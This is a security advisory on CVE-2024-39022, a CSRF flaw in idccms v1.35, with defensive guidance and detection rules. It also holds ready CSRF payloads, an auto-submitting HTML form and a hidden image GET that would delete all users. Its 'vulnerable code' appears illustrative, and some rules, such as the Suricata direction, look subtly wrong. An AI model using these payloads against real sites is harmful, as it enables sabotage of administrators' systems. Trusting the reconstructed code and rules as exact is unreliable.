CVE-2024-39022

Executive Summary

CVE-2024-39022 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw exists in the /admin/infoSys_deal.php?mudi=deal endpoint, allowing an attacker to trick an authenticated administrator into executing unintended actions without their consent. This can lead to unauthorized configuration changes, data manipulation, or privilege escalation within the CMS. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details. The risk is elevated due to the lack of CSRF tokens or origin validation in the affected endpoint.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned)
Threat Level: Medium (Estimated)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None (attacker only needs to trick an authenticated admin)
User Interaction: Required (admin must click a malicious link or visit a crafted page)
Scope: Unchanged
Confidentiality Impact: Low (potential data exposure)
Integrity Impact: High (unauthorized actions can be performed)
Availability Impact: Low (unlikely to cause denial of service)

Rationale: CSRF attacks exploit the trust a site has in a user's browser. Since the admin is authenticated, the attacker can force state-changing requests without the admin's knowledge. The lack of CSRF protections makes this a significant risk for idccms deployments.

Deep Dive & Mechanics

The vulnerability resides in the infoSys_deal.php script, specifically when handling the mudi=deal parameter. The script does not implement any anti-CSRF mechanisms such as tokens, SameSite cookies, or origin/referer header validation. This allows an attacker to craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged POST or GET request to the vulnerable endpoint.

Attack Flow:

1. Attacker identifies an idccms v1.35 instance with an active admin session.
2. Attacker crafts a malicious link or form that submits a request to http://target/admin/infoSys_deal.php?mudi=deal with arbitrary parameters (e.g., changing site settings, deleting content, or creating new admin accounts).
3. Attacker lures the admin to click the link or visit the page (e.g., via phishing email or forum post).
4. The admin's browser automatically sends the request with their session cookies, executing the attacker's desired action.

Root Cause: Missing CSRF token validation and lack of origin/referer checks in the infoSys_deal.php script.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/infoSys_deal.php
if ($_GET['mudi'] == 'deal') {
    // Process the request without any CSRF check
    $action = $_POST['action'] ?? $_GET['action'];
    // ... perform sensitive operations like update settings, delete records, etc.
}

Patched Code (Hypothetical Fix):

// /admin/infoSys_deal.php
session_start();
if ($_GET['mudi'] == 'deal') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed.');
    }
    $action = $_POST['action'] ?? $_GET['action'];
    // ... perform sensitive operations
}

Explanation: The vulnerable code directly processes the request without verifying a unique token tied to the user session. The patched version generates a CSRF token during login and validates it on every state-changing request.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an idccms v1.35 instance with an active admin session.
• Ability to host a malicious HTML page or send a crafted link.

Exploit Payload (HTML Form Auto-Submit):

<html>
<body>
<form id="csrf" action="http://target/admin/infoSys_deal.php?mudi=deal" method="POST">
    <input type="hidden" name="action" value="delete_all_users">
    <input type="hidden" name="confirm" value="yes">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Usage:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the admin via email or social engineering.
3. When the admin visits the page, the form auto-submits, executing the malicious action.

Alternative (GET-based exploit):

<img src="http://target/admin/infoSys_deal.php?mudi=deal&action=delete_all_users&confirm=yes" style="display:none;">

Blue Team (Defense & Detection)

Mitigation Steps:

1. Implement CSRF Tokens: Add a unique, unpredictable token to each form and validate it server-side.
2. Use SameSite Cookies: Set SameSite=Strict or Lax on session cookies to prevent cross-origin requests.
3. Validate Origin/Referer: Check the Origin or Referer header to ensure requests come from the same site.
4. User Education: Train admins to avoid clicking suspicious links while logged into the CMS.

Detection Rules:

• Monitor for unusual POST/GET requests to /admin/infoSys_deal.php with unexpected parameters.
• Alert on multiple rapid requests from the same IP to the vulnerable endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/infoSys_deal.php?mudi=deal with unusual parameters (e.g., action=delete, action=create_admin).
• Referer headers from external domains or empty referers.
• Repeated requests from a single IP within a short timeframe.

File IOCs:

• Unexpected changes to CMS configuration files (e.g., config.php, settings.php).
• New admin accounts in the database (admin_users table).
• Modified or deleted content entries.

Log IOCs:

• Web server logs showing POST /admin/infoSys_deal.php?mudi=deal with no prior CSRF token validation.
• Error logs indicating failed CSRF token checks (if patched).

Detection Engineering

YARA Rule

rule Detect_idccms_CSRF_Vulnerability {
    meta:
        description = "Detects idccms v1.35 CSRF vulnerability in infoSys_deal.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39022"
    strings:
        $vuln_code = "mudi=deal" nocase
        $no_csrf = "if ($_GET['mudi'] == 'deal')" nocase
    condition:
        $vuln_code and $no_csrf
}

Sigma Rule

title: Suspicious Request to idccms infoSys_deal.php
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects potential CSRF exploitation attempts against idccms v1.35
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/infoSys_deal.php?mudi=deal'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-39022 - idccms CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/infoSys_deal.php";
    http_uri;
    content:"mudi=deal";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not essential: Block access to /admin/infoSys_deal.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply a WAF rule to block requests to infoSys_deal.php with mudi=deal unless accompanied by a valid CSRF token.
3. Manually patch the code by adding CSRF token validation as shown in the "Vulnerable vs. Patched Code" section.

Long-Term Fix:

• Upgrade to a patched version of idccms if available (none currently).
• Conduct a full security audit of the CMS to identify similar CSRF vulnerabilities.
• Implement a framework-wide CSRF protection mechanism (e.g., using a middleware or library).

Workaround:

• Enforce SameSite=Strict on session cookies via PHP configuration:

  session_set_cookie_params(['samesite' => 'Strict']);
  

• Add a custom header check (e.g., X-Requested-With: XMLHttpRequest) for AJAX requests.

Valters IT
Securing Digital Frontiers